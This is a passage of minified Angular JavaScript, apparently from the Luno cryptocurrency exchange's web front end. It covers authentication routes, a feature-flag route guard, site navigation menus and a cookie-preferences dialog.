0:e.flags)||void 0===n?void 0:n.length))return this.router.navigateByUrl(""),!1;var i=Object.assign({},t.data);return!(!this.shouldRouteActivateForFlags(i)&&(i.navigateWithFullUrl?(window.location.href=i.fallbackRoute||"",1):(i.fallbackRoute&&t.params&&Object.keys(t.params).forEach(function(e){var n;(null===(n=i.fallbackRoute)||void 0===n?void 0:n.includes(e))&&(i.fallbackRoute=i.fallbackRoute.replace(":".concat(e),t.params[e]))}),i.preserveQueryParamsOnFallback&&t.queryParams?(this.router.navigate(i.fallbackRoute?[i.fallbackRoute]:[""],{queryParams:Object.assign({},t.queryParams)}),1):(this.router.navigateByUrl(i.fallbackRoute?i.fallbackRoute:""),1))))}},{key:"shouldRouteActivateForFlags",value:function(t){var e=this,n=t.flags.some(function(t){return!e.feature.isEnabled(t)}),i=t.flags.some(function(t){return e.feature.isEnabled(t)});if(t.canActivateOnPartialFlags){if(t.activateOnDisabledFlags)return n;if(!t.activateOnDisabledFlags)return i}return t.activateOnDisabledFlags?n&&!i:!t.activateOnDisabledFlags&&!n&&i}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(zt.a),a.LFG(wt.F0))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t}(),Kt="auth-web-app",Xt=window.location.href.includes(Kt),$t=[{path:Xt?"".concat(Kt,"/:lang/authorize"):":lang/authorize",loadChildren:function(){return Promise.all([n.e(735),n.e(501),n.e(107),n.e(592),n.e(822)]).then(n.bind(n,38492)).then(function(t){return t.AuthorizeModule})}},{path:Xt?"".concat(Kt,"/:lang/confirm_email"):":lang/confirm_email",loadChildren:function(){return n.e(418).then(n.bind(n,67418)).then(function(t){return t.ConfirmEmailModule})}},{path:Xt?"".concat(Kt,"/:lang/login"):":lang/login",loadChildren:function(){return Promise.all([n.e(735),n.e(501),n.e(376),n.e(462),n.e(279),n.e(864)]).then(n.bind(n,14998)).then(function(t){return t.AuthLoginModule})}},{path:Xt?"".concat(Kt,"/:lang/login/oauth2v2"):":lang/login/oauth2v2",loadChildren:function(){return Promise.all([n.e(735),n.e(501),n.e(376),n.e(462),n.e(28),n.e(279),n.e(656)]).then(n.bind(n,35656)).then(function(t){return t.LoginOauthModule})}},{path:Xt?"".concat(Kt,"/:lang/recover"):":lang/recover",loadChildren:function(){return Promise.all([n.e(735),n.e(501),n.e(376),n.e(462),n.e(107),n.e(516)]).then(n.bind(n,84516)).then(function(t){return t.RecoverAccountModule})}},{path:Xt?"".concat(Kt,"/:lang/recovery_web"):":lang/recovery_web",loadChildren:function(){return Promise.all([n.e(735),n.e(501),n.e(376),n.e(462),n.e(107),n.e(516)]).then(n.bind(n,84516)).then(function(t){return t.RecoverAccountModule})}},{path:Xt?"".concat(Kt,"/:lang/report_fraud"):":lang/report_fraud",loadChildren:function(){return Promise.all([n.e(735),n.e(501),n.e(592),n.e(443)]).then(n.bind(n,34443)).then(function(t){return t.ReportFraudModule})}},{path:Xt?"".concat(Kt,"/:lang/secure_account"):":lang/secure_account",loadChildren:function(){return Promise.all([n.e(735),n.e(501),n.e(107),n.e(127)]).then(n.bind(n,92496)).then(function(t){return t.SecureAccountModule})},canActivate:[Qt],data:{flags:["secure_account_flow"],fallbackRoute:":lang/lock_account",preserveQueryParamsOnFallback:!0}},{path:Xt?"".concat(Kt,"/:lang/signup"):":lang/signup",loadChildren:function(){return Promise.all([n.e(735),n.e(376),n.e(28),n.e(996)]).then(n.bind(n,81592)).then(function(t){return t.SignupRoutingModule})}},{path:":lang/verify_email",loadChildren:function(){return n.e(766).then(n.bind(n,43766)).then(function(t){return t.VerifyEmailModule})}},{path:":lang/lock_account",loadChildren:function(){return Promise.all([n.e(735),n.e(501),n.e(168)]).then(n.bind(n,46168)).then(function(t){return t.LockModule})}},{path:"**",loadChildren:function(){return Promise.all([n.e(735),n.e(501),n.e(376),n.e(462),n.e(279),n.e(864)]).then(n.bind(n,14998)).then(function(t){return t.AuthLoginModule})}}],te=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=a.oAB({type:t}),t.\u0275inj=a.cJS({providers:[{provide:s.mr,useValue:"/"}],imports:[[wt.Bz.forRoot($t,{scrollPositionRestoration:"enabled"})],wt.Bz]}),t}(),ee=n(3786),ne=n(44036),ie=((ie||(ie={})).HELP_INBOX="help-inbox",ie),re=function(){return(t=re||(re={})).au="au",t.fr="fr",t.eu="eu",t.gb="gb",t.id="id",t.it="it",t.my="my",t.ng="ng",t.sg="sg",t.ug="ug",t.us="us",t.za="za",t.zm="zm",re;var t}(),oe=function(){return(t=oe||(oe={}))[t.FACEBOOK=0]="FACEBOOK",t[t.TWITTER=1]="TWITTER",t[t.LINKEDIN=2]="LINKEDIN",t[t.YOUTUBE=3]="YOUTUBE",t[t.MEDIUM=4]="MEDIUM",t[t.INSTAGRAM=5]="INSTAGRAM",oe;var t}(),ae=n(66846),se=n(13660);function ue(t,e,n){var i=(0,se.s)(t,n);if(!i)return t;var r=new RegExp("/".concat(i,"\\b"));return t.replace(r,"/".concat(e))}var ce=n(22210),le=function(){var t=function(){function t(e,n,i){var r;_(this,t),this.commonInfoService=e,this.i18n=n,this.localeService=i,this.hideTradeSection=!1,this.isCustomerUS=!1,this.isCustomerUS="".concat(null===(r=this.commonInfoService.navInfo)||void 0===r?void 0:r.loc.code).toLocaleLowerCase()===re.us,this.setTranslations()}return y(t,[{key:"getSideNavigationGroups",value:function(t){var e=[];return e.push(this.getHomeNavigation(t.staticAssetsPath)),e.push(this.getAccountNavigation(!!t.isAuthenticated,t.staticAssetsPath)),e.push(this.getPriceChartsNavigation(t.staticAssetsPath)),e.push(this.getProductsNavigation(t.staticAssetsPath)),e.push(this.getResourcesNavigation(t.staticAssetsPath,!!t.isAuthenticated,!1)),e.push(this.getAboutNavigation(t.staticAssetsPath,!1)),e}},{key:"getFooterNavigationGroups",value:function(t){return(null==t?void 0:t.webAssetsUrl)&&t.staticAssetsPath?[this.getCoFounderNavigation(t.preferredLocale||null,t.webAssetsUrl),this.getAboutNavigation(t.staticAssetsPath,!0),this.getResourcesNavigation(t.staticAssetsPath,!1,!0),this.getProductsNavigation(t.staticAssetsPath),this.getLegalNavigation()].filter(Boolean):[null]}},{key:"getMobileFooterNavigationGroups",value:function(t){return[this.getMobileAboutNavigation(t.staticAssetsPath),this.getMobileProductsNavigation()].filter(Boolean)}},{key:"getPriceChartsItems",value:function(t){var e={iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_bitcoin_activated.svg"),activeIconV3:"".concat(t,"/v3/icons/sidenav/coins/bitcoin.svg")},action:{name:this.i18n.translateText("Bitcoin price",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/price/BTC")},activeForRoutes:["/price/BTC"]},n={iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_ethereum_activated.svg"),activeIconV3:"".concat(t,"/v3/icons/sidenav/coins/ethereum.svg")},action:{name:this.i18n.translateText("Ethereum price",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/price/ETH")},activeForRoutes:["/price/ETH"]},i={iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_bch_activated.svg"),activeIconV3:"".concat(t,"/v3/icons/sidenav/coins/bitcoin_cash.svg")},action:{name:this.i18n.translateText("Bitcoin Cash price",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/price/BCH")},activeForRoutes:["/price/BCH"]},r={iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_xrp_activated.svg"),activeIconV3:"".concat(t,"/v3/icons/sidenav/coins/ripple.svg")},action:{name:this.i18n.translateText("XRP price",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/price/XRP")},activeForRoutes:["/price/XRP"]},o={iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_ltc_activated.svg"),activeIconV3:"".concat(t,"/v3/icons/sidenav/coins/litecoin.svg")},action:{name:this.i18n.translateText("Litecoin price",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/price/LTC")},activeForRoutes:["/price/LTC"]};return this.isCustomerUS?[e,n]:[e,n,i,r,o]}},{key:"getPriceChartsNavigation",value:function(t){return{heading:this.i18n.translateText("Price charts",void 0,"Component: Menu header"),navigationItems:this.getPriceChartsItems(t)}}},{key:"getResourcesItems",value:function(){return[{matIcon:{name:"local_library",theme:"primary"},action:{name:this.i18n.translateText("Discover",void 0,"Component: Menu item"),url:"https://discover.luno.com"}},{matIcon:{name:"help",theme:"primary"},action:{name:this.i18n.translateText("Help Centre",void 0,"Component: Menu item"),url:"/help/".concat(this.localeService.urlPath,"/")},activeForRoutes:["help"]},{matIcon:{name:"update",theme:"primary"},action:{name:this.i18n.translateText("Status",void 0,"Component: Menu item"),url:"https://status.luno.com/"},activeForRoutes:["status"]}]}},{key:"getResourcesNavigation",value:function(t,e,n){var r=[];return e&&r.push({iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_fees_activated.svg"),inactiveIcon:"".concat(t,"/icons/sidenav/ic_fees_inactive.svg")},action:{name:this.i18n.translateText("Fees",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/countries")}}),n&&r.push({iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_bitcoin_activated.svg"),inactiveIcon:"".concat(t,"/icons/sidenav/ic_bitcoin_inactive.svg")},action:{name:this.i18n.translateText("Bitcoin price",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/price/BTC")}}),{heading:this.i18n.translateText("Resources",void 0,"Component: Menu header"),navigationItems:[].concat(r,i(this.getResourcesItems()))}}},{key:"getProductsItems",value:function(t){var e={matIcon:{name:"phone_android",theme:"primary"},action:{name:this.i18n.translateText("Features",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/features")},activeForRoutes:["/features"]},n={matIcon:{name:"sell",theme:"primary"},action:{name:this.i18n.translateText("Fees",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/countries")},activeForRoutes:["/countries"]},i={matIcon:{name:"bar_chart",theme:"primary"},action:{name:this.i18n.translateText("Exchange",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/exchange")},activeForRoutes:["/exchange"]},r={matIcon:{name:"work",theme:"primary"},action:{name:this.i18n.translateText("Business",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/business")},activeForRoutes:["/business"]},o={matIcon:{name:"cloud",theme:"primary"},action:{name:this.i18n.translateText("Luno API",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/developers")},activeForRoutes:["/developers"]};return this.hideTradeSection&&this.isCustomerUS?[n,r,o]:this.hideTradeSection&&!this.isCustomerUS?[e,n,r,o]:this.isCustomerUS?[n,r,o]:[e,n,i,r,o]}},{key:"getProductsNavigation",value:function(t){return{heading:this.i18n.translateText("Products",void 0,"Component: Menu header"),navigationItems:this.getProductsItems(t)}}},{key:"getOtherItems",value:function(){var t=this.getTermUrl(this.customerCountry);return[{action:{name:this.i18n.translateText("Terms of use",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/legal/").concat(t)}},{action:{name:this.i18n.translateText("Customer protection",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/legal/safe")}},{action:{name:this.i18n.translateText("Legal & compliance",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/legal/compliance")}},{action:{name:this.i18n.translateText("Privacy policy",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/legal/privacy")}},{action:{name:this.i18n.translateText("Security",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/security")}}]}},{key:"getLegalNavigation",value:function(){return{heading:this.i18n.translateText("Legal",void 0,"Component: Menu header"),navigationItems:this.getOtherItems()}}},{key:"getAboutItems",value:function(t,e){var n=[{matIcon:{name:"maps_home_work",theme:"primary"},action:{name:this.i18n.translateText("Company",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/about")},activeForRoutes:["/about"]},{matIcon:{name:"groups",theme:"primary"},action:{name:this.i18n.translateText("Careers",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/careers")},activeForRoutes:["/careers"]},{matIcon:{name:"newspaper",theme:"primary"},action:{name:this.i18n.translateText("Press",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/press")},activeForRoutes:["/press"]}];return e&&n.push({iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_press_activated.svg"),inactiveIcon:"".concat(t,"/icons/sidenav/ic_press_inactive.svg")},action:{name:this.i18n.translateText("Press Kit",void 0,"Component: Menu item"),url:"".concat(t,"/docs/press_kit_global_v4.pdf")}}),n}},{key:"getAboutNavigation",value:function(t,e){return{heading:this.i18n.translateText("About",void 0,"Component: Menu header"),navigationItems:this.getAboutItems(t,e)}}},{key:"getMobileAboutItems",value:function(t){return[{iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_company_activated.svg"),inactiveIcon:"".concat(t,"/icons/sidenav/ic_company_inactive.svg")},action:{name:this.i18n.translateText("About Luno",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/about")}},{iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_careers_activated.svg"),inactiveIcon:"".concat(t,"/icons/sidenav/ic_careers_inactive.svg")},action:{name:this.i18n.translateText("Careers",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/careers")}},{matIcon:{name:"local_library",theme:"primary"},action:{name:this.i18n.translateText("Discover",void 0,"Component: Menu item"),url:"https://discover.luno.com"}},{matIcon:{name:"help",theme:"primary"},action:{name:this.i18n.translateText("Help Centre",void 0,"Component: Menu item"),url:"/help/".concat(this.localeService.urlPath)},activeForRoutes:["help"]}]}},{key:"getMobileAboutNavigation",value:function(t){return{heading:this.i18n.translateText("About",void 0,"Component: Menu header"),navigationItems:this.getMobileAboutItems(t)}}},{key:"getMobileProductsItems",value:function(){var t={action:{name:this.i18n.translateText("Features",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/features")}},e={action:{name:this.i18n.translateText("Exchange",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/exchange")}},n={action:{name:this.i18n.translateText("Fees",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/countries")}},i={action:{name:this.i18n.translateText("Business",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/business")}},r={action:{name:this.i18n.translateText("Privacy policy",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/legal/privacy")}};return this.isCustomerUS?[n,i,r]:[t,n,e,i,r]}},{key:"getMobileProductsNavigation",value:function(){return{heading:this.i18n.translateText("Products",void 0,"Component: Menu header"),navigationItems:this.getMobileProductsItems()}}},{key:"getLanguageItems",value:function(t,e,n){var i=[];if(!t)return i;var r=Object.keys(t);return Object.keys(t).forEach(function(o){i.push({iconUrl:{inactiveIcon:"".concat(n,"/icons/languages/").concat(o,".png")},action:{name:t[o],url:ue(e,o,r),id:o}})}),i}},{key:"getLanguageNavigation",value:function(t,e,n){if(t)return{heading:this.i18n.translateText("Language",void 0,"Component: Menu header"),navigationItems:this.getLanguageItems(t,e,n)}}},{key:"getCoFounderItems",value:function(t){return[{action:{url:"https://asosiasiblockchain.co.id"},iconUrl:{inactiveIcon:"".concat(t,"/website/common/img/asosiasi.png")}}]}},{key:"getCoFounderNavigation",value:function(t,e){return"ID"!==t?null:{heading:this.i18n.translateText("Co-founder of",void 0,"Component: Menu header"),navigationItems:this.getCoFounderItems(e)}}},{key:"getAccountItems",value:function(t,e){var n=[];return t?n.push({iconUrl:{activeIcon:"".concat(e,"/icons/sidenav/ic_signout_activated.svg"),inactiveIcon:"".concat(e,"/icons/sidenav/ic_signout_inactive.svg")},action:{name:this.i18n.translateText("Sign out",void 0,"Component: Menu item"),url:"".concat(window.location.origin,"/logout")}}):n.push({matIcon:{name:"person_outline",theme:"primary"},action:{name:this.i18n.translateText("Sign up",void 0,"Component: Menu item"),url:"".concat(window.location.origin,"/").concat(this.localeService.urlPath,"/signup"),style:ae.gw3.PRIMARY}},{matIcon:{name:"person",theme:"primary"},action:{name:this.i18n.translateText("Sign in",void 0,"Component: Menu item"),url:"".concat(window.location.origin,"/").concat(this.localeService.urlPath,"/login")}}),n}},{key:"getAccountNavigation",value:function(t,e){return{heading:this.i18n.translateText("Account",void 0,"Component: Menu header"),navigationItems:this.getAccountItems(t,e)}}},{key:"getSocialIcons",value:function(t){return[{action:{id:oe.TWITTER.toString(),url:"https://twitter.com/LunoGlobal",name:"Twitter"}},{action:{id:oe.YOUTUBE.toString(),url:"https://www.youtube.com/channel/UCdKv3ViymZkRiBPh2ogSnKA",name:"YouTube"}},{action:{id:oe.LINKEDIN.toString(),url:"https://www.linkedin.com/company/lunoglobal",name:"LinkedIn"}}]}},{key:"getWebsiteTopNavigationItems",value:function(t,e){var n=[];return e&&n.push(this.getTickerItem(e)),this.isCustomerUS||n.push(this.featuresItem),n.push(this.walletItem),this.isCustomerUS||n.push(this.exchangeItem),t?n.push(this.signOutItem):n.push(this.signInItem,this.signUpItem),n}},{key:"getHelpCentreTopNavigationItems",value:function(t,e,n){var i=[];return e&&i.push({action:{name:e,url:"/".concat(this.localeService.urlPath,"/price/BTC")}}),t?(i.push({action:{name:this.i18n.translateText("Wallet",void 0,"Component: Menu item"),url:"/wallet"}}),n&&i.push({action:{name:this.i18n.translateText("Your messages",void 0,"Component: Menu item"),url:"".concat(window.location.origin,"/help/").concat(this.localeService.urlPath,"/tickets"),id:ie.HELP_INBOX}}),i.push({action:{name:this.i18n.translateText("Sign out",void 0,"Component: Menu item"),url:"".concat(window.location.origin,"/logout"),style:ae.gw3.PRIMARY}})):(i.push({action:{name:this.i18n.translateText("Wallet",void 0,"Component: Menu item"),url:"/wallet"},hideOnTablet:!0}),this.hideTradeSection||i.push({action:{name:this.i18n.translateText("Exchange",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/exchange")},hideOnTablet:!0}),this.isCustomerUS||i.push({action:{name:this.i18n.translateText("Features",void 0,"Component: Menu item"),url:"/features"},hideOnLaptopScreen:!0}),i.push({action:{name:this.i18n.translateText("Sign in",void 0,"Component: Menu item"),url:"".concat(window.location.origin,"/").concat(this.localeService.urlPath,"/login?redirect=").concat(window.location.pathname)}},{action:{name:this.i18n.translateText("Sign up",void 0,"Component: Menu item"),url:"".concat(window.location.origin,"/").concat(this.localeService.urlPath,"/signup"),style:ae.gw3.PRIMARY}})),i}},{key:"getHelpCentreSideNavigationGroups",value:function(t,e,n){if(!t)return null;var i=[];return i.push(this.getHelpCentreHomeNavigation(t.staticAssetsPath,!!t.isAuthenticated,e,n)),i.push(this.getHelpTopicsNavigation(t.staticAssetsPath)),i.push(this.getHelpOtherResourcesNavigation(t.staticAssetsPath)),i}},{key:"getHomeNavigation",value:function(t){return{navigationItems:this.getHomeItems(t)}}},{key:"getHomeItems",value:function(t){return[{matIcon:{name:"home",theme:"primary"},action:{name:this.i18n.translateText("Home",void 0,"Component: Menu item"),url:"".concat(window.location.origin,"/").concat(this.localeService.urlPath,"/")},activeForRouteRegex:"^/([a-z]{2})?/?([a-z]{2})?$"}]}},{key:"getTermUrl",value:function(t){return t&&[re.au,re.my,re.ng,re.sg,re.ug,re.za,re.zm].includes(t)?"terms-of-use-".concat(t):"terms"}},{key:"getHelpCentreHomeNavigation",value:function(t,e,n,i){return{navigationItems:this.getHelpCentreHomeItems(t,e,n,i)}}},{key:"getHelpCentreHomeItems",value:function(t,e,n,i){var r=[];return r.push({iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_home_activated.svg"),activeIconV3:"".concat(t,"/v3/icons/help/ic_help_home.svg")},action:{name:this.i18n.translateText("Help Home",void 0,"Component: Menu item"),url:"/help/".concat(this.localeService.urlPath,"/")},activeForRouteRegex:"^/help/([a-z]{2})/?$"}),e&&n&&r.push({iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_help_inbox.svg"),activeIconV3:"".concat(t,"/v3/icons/help/ic_support_inbox.svg")},action:{name:this.i18n.translateText("Your support inbox",void 0,"Component: Menu item"),url:"/help/".concat(this.localeService.urlPath,"/tickets")},activeForRouteRegex:"^/help/([a-z]{2})/tickets/?$",badgeCount$:i}),r}},{key:"getHelpTopicsNavigation",value:function(t){return{heading:this.i18n.translateText("Help topics",void 0,"Component: Menu header"),navigationItems:this.getHelpTopicsItems(t)}}},{key:"getHelpTopicsItems",value:function(t){return[{iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_help_get_started.svg"),activeIconV3:"".concat(t,"/v3/icons/help/ic_getting_started.svg")},action:{name:this.i18n.translateText("Getting started",void 0,"Component: Menu item"),url:"/help/".concat(this.localeService.urlPath,"/categories/1000000384")},activeForRouteRegex:"^/help/([a-z]{2})/categories/1000000384/?$"},{iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_help_identity.svg"),activeIconV3:"".concat(t,"/v3/icons/help/ic_identity_verification.svg")},action:{name:this.i18n.translateText("Identity verification",void 0,"Component: Menu item"),url:"/help/".concat(this.localeService.urlPath,"/categories/1000126762")},activeForRouteRegex:"^/help/([a-z]{2})/categories/1000126762/?$"},{iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_help_deposits.svg"),activeIconV3:"".concat(t,"/v3/icons/help/ic_deposits_withdrawls.svg")},action:{name:this.i18n.translateText("Deposits and withdrawals",void 0,"Component: Menu item"),url:"/help/".concat(this.localeService.urlPath,"/categories/1000126763")},activeForRouteRegex:"^/help/([a-z]{2})/categories/1000126763/?$"},{iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_help_wallet.svg"),activeIconV3:"".concat(t,"/v3/icons/help/ic_wallet.svg")},action:{name:this.i18n.translateText("Using the wallet",void 0,"Component: Menu item"),url:"/help/".concat(this.localeService.urlPath,"/categories/11000001462")},activeForRouteRegex:"^/help/([a-z]{2})/categories/11000001462/?$"},{iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_help_exchange.svg"),activeIconV3:"".concat(t,"/v3/icons/help/ic_exchange.svg")},action:{name:this.i18n.translateText("Using the exchange",void 0,"Component: Menu item"),url:"/help/".concat(this.localeService.urlPath,"/categories/11000001463")},activeForRouteRegex:"^/help/([a-z]{2})/categories/11000001463/?$"},{iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_help_security.svg"),activeIconV3:"".concat(t,"/v3/icons/help/ic_security.svg")},action:{name:this.i18n.translateText("Security",void 0,"Component: Menu item"),url:"/help/".concat(this.localeService.urlPath,"/categories/11000001464")},activeForRouteRegex:"^/help/([a-z]{2})/categories/11000001464/?$"}]}},{key:"getHelpOtherResourcesNavigation",value:function(t){return{heading:this.i18n.translateText("Other resources",void 0,"Component: Menu header"),navigationItems:this.getHelpOtherResourcesItems(t)}}},{key:"getHelpOtherResourcesItems",value:function(t){return[{matIcon:{name:"local_library",theme:"primary"},action:{name:this.i18n.translateText("Discover",void 0,"Component: Menu item"),url:"https://discover.luno.com"}},{iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_help_website.svg"),activeIconV3:"".concat(t,"/v3/icons/help/ic_home.svg")},action:{name:this.i18n.translateText("Luno website",void 0,"Component: Menu item"),url:"/".concat(this.localeService.urlPath,"/")}},{iconUrl:{activeIcon:"".concat(t,"/icons/sidenav/ic_help_status.svg"),activeIconV3:"".concat(t,"/v3/icons/help/ic_status_page.svg")},action:{name:this.i18n.translateText("Luno status page",void 0,"Component: Menu item"),url:"https://luno.statuspage.io/"}}]}},{key:"getTickerItem",value:function(t){return{action:{name:t,url:"/".concat(this.localeService.urlPath,"/price/BTC")},hideOnMobile:!0}}},{key:"featuresItem",get:function(){return{action:{name:this.featuresText,url:"/".concat(this.localeService.urlPath,"/features")},hideOnMobile:!0}}},{key:"walletItem",get:function(){return{action:{name:this.walletText,url:"/wallet"},hideOnMobile:!0,hideOnTablet:!0}}},{key:"exchangeItem",get:function(){return{action:{name:this.exchangeText,url:"/".concat(this.localeService.urlPath,"/exchange")},hideOnMobile:!0,hideOnTablet:!0}}},{key:"tradeItem",get:function(){return{action:{name:this.tradeText,url:"/trade"},hideOnMobile:!0,hideOnTablet:!0}}},{key:"signInItem",get:function(){return{action:{name:this.signInText,url:"/".concat(this.localeService.urlPath,"/login")},hideOnMobile:!0}}},{key:"signUpItem",get:function(){return{action:{name:this.signUpText,url:"/".concat(this.localeService.urlPath,"/signup"),style:ae.gw3.PRIMARY}}}},{key:"signOutItem",get:function(){return{action:{name:this.signOutText,url:"/logout"}}}},{key:"androidAppUrl",value:function(){return"https://play.google.com/store/apps/details?hl=".concat(this.commonInfoService.language,"&id=co.bitx.android.wallet")}},{key:"iosAppUrl",value:function(){return"https://itunes.apple.com/app/bitx-wallet/id927362479?mt=8"}},{key:"setTranslations",value:function(){this.featuresText=this.i18n.translateText("Features",void 0,"Component: Menu item"),this.walletText=this.i18n.translateText("Wallet",void 0,"Component: Menu item"),this.exchangeText=this.i18n.translateText("Exchange",void 0,"Component: Menu item"),this.tradeText=this.i18n.translateText("Trade",void 0,"Component: Menu item"),this.signInText=this.i18n.translateText("Sign in",void 0,"Component: Menu item"),this.signUpText=this.i18n.translateText("Sign up",void 0,"Component: Menu item"),this.signOutText=this.i18n.translateText("Sign out",void 0,"Component: Menu item")}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(Yt.E),a.LFG(ce.K),a.LFG(Wt.O))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t}(),he=n(35053),fe=function(){var t=function(){function t(e){_(this,t),this.httpService=e}return y(t,[{key:"fetch",value:function(){return this.httpService.get("/ajax/1/display_ticker",null)}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(Zt.OE))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t}(),de=n(12815),pe=n(27809),ve=n(76677),me=n(91797),ge=function(){var t=function(){function t(e,n,i){_(this,t),this.dialogRef=e,this.windowRef=n,this.i18n=i,this.functionalCheckbox=!1,this.performanceCheckbox=!1,this.marketingCheckbox=!1}return y(t,[{key:"ngOnInit",value:function(){this.processConfigs()}},{key:"processConfigs",value:function(){this.title=this.i18n.translateText("Cookie preferences",void 0,"Component: dialog title"),this.bodyHtml=this.i18n.translateText('When you visit our website, we may store cookies on your browser. We use cookies to create a personalised web experience and understand user behaviour on our website. We respect your right to privacy so you can choose not to allow some types of cookies. For more information see our <a href="'.concat(this.windowRef.nativeWindow.location.origin,'/en/legal/cookie-policy" target="_blank">Cookie Policy</a>.'),void 0,"Component: Dialog body"),this.preferencesTitle=this.i18n.translateText("Manage cookies:",void 0,"Component: Section title"),this.saveButton={action:{name:this.i18n.translateText("Save",void 0,"Component: Button"),style:ae.gw3.PRIMARY}},this.strictlyNecessaryText=this.i18n.translateText("Strictly necessary cookies",void 0,"Component: Checkbox heading"),this.functionalText=this.i18n.translateText("Functional cookies",void 0,"Component: Checkbox heading"),this.performanceText=this.i18n.translateText("Performance cookies",void 0,"Component: Checkbox heading"),this.marketingText=this.i18n.translateText("Marketing cookies",void 0,"Component: Checkbox heading"),this.strictlyNecessaryDetailsText=this.i18n.translateText("These cookies are necessary for our sites to function.",void 0,"Component: Checkbox description"),this.functionalDetailsText=this.i18n.translateText("These cookies allow us to remember your preferences.",void 0,"Component: Checkbox description"),this.performanceDetailsText=this.i18n.translateText("These cookies help us improve the performance of our sites.",void 0,"Component: Checkbox description"),this.marketingDetailsText=this.i18n.translateText("Luno uses third party service providers to tailor advertising to you or your interests.",void 0,"Component: Checkbox description")}},{key:"onFunctionalCheckboxClick",value:function(t){this.functionalCheckbox=t.checked}},{key:"onPerformanceCheckboxClick",value:function(t){this.performanceCheckbox=t.checked}},{key:"onMarketingCheckboxClick",value:function(t){this.marketingCheckbox=t.checked}},{key:"onSave",value:function(){this.dialogRef.close({functional:this.functionalCheckbox,performance:this.performanceCheckbox,marketing:this.marketingCheckbox})}},{key:"onClose",value:function(){this.dialogRef.close()}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.Y36(R.so),a.Y36(Ft.X),a.Y36(ce.K))},t.\u0275cmp=a.Xpm({type:t,selectors:[["luno-cookie-preferences-dialog"]],decls:34,vars:13,consts:[["matRipple","",1,"cross-icon",3,"click"],[1,"title-container"],[1,"divider"],[1,"body-container"],[1,"body-text",3,"innerHTML"],[1,"checkboxes-container"],["disabled","",3,"checked"],["color","primary",3,"change"],[1,"button-container"],[3,"button","clicked"]],template:function(t,e){1&t&&(a.TgZ(0,"a",0),a.NdJ("click",function(){return e.onClose()}),a.TgZ(1,"mat-icon"),a._uU(2,"close"),a.qZA(),a.qZA(),a.TgZ(3,"div",1),a.TgZ(4,"h3"),a._uU(5),a.qZA(),a._UZ(6,"div",2),a.qZA(),a.TgZ(7,"div",3),a._UZ(8,"p",4),a.TgZ(9,"h4"),a._uU(10),a.qZA(),a.TgZ(11,"div",5),a.TgZ(12,"div"),a.TgZ(13,"mat-checkbox",6),a._uU(14),a.qZA(),a.TgZ(15,"p"),a._uU(16),a.qZA(),a.qZA(),a.TgZ(17,"div"),a.TgZ(18,"mat-checkbox",7),a.NdJ("change",function(t){return e.onFunctionalCheckboxClick(t)}),a._uU(19),a.qZA(),a.TgZ(20,"p"),a._uU(21),a.qZA(),a.qZA(),a.TgZ(22,"div"),a.TgZ(23,"mat-checkbox",7),a.NdJ("change",function(t){return 